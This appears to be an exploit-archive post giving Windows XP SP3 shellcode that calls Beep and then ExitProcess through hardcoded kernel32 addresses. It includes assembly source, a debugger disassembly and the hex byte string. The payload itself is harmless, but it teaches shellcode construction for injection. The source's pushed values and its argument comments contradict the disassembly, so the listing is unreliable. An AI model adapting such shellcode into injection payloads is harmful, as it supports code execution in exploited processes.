windows xp-sp3 beep and exitprocess shellcode
author Teo Manojlovic
contact teo.manojlovic@skole.hr

this shellcode is using API call "Beep" which is in kernel32.dll
adress of this API is 7C837A8Fh
adress of exitprocess is 7C81CAFAh

here is assembler code using Intel sintax and MASM32
-------------------- begin----------------
.386

.model flat, STDCALL

.data
 
 .code

start:

xor eax,eax

mov eax,7C837A8Fh ;putting address of beep call

push 200h ; frequency

push 200h ; lenght

call eax ; calling beep

xor eax,eax ; setting 0 to eax register

mov eax,7C81CAFAh ; putting address of exitprocess call

call eax ;calling exitprocess

end start

------------------------end-----------


if we disassemle this code with olly debugger we will get following



00401000 > $ 33C0           XOR EAX,EAX                              ; |
00401002   . B8 8F7A837C    MOV EAX,kernel32.Beep                    ; |
00401007   . 68 00040000    PUSH 400                                 ; |/Duration = 1024. ms
0040100C   . 68 00030000    PUSH 300                                 ; ||Frequency = 300 (768.)
00401011   . FFD0           CALL EAX                                 ; |Beep
00401013   . 33C0           XOR EAX,EAX                              ; |
00401015   . B8 FACA817C    MOV EAX,kernel32.ExitProcess             ; |
0040101A   . FFD0           CALL EAX                                 ; ExitProcess







and here is the shellcode

x33xC0xB8x8Fx7Ax83x7Cx68x00x04x00x00x68x00x03x00x00xFFxD0x33xC0xB8xFAxCAx81x7CxFFxD0

# www.Syue.com [2009-07-02]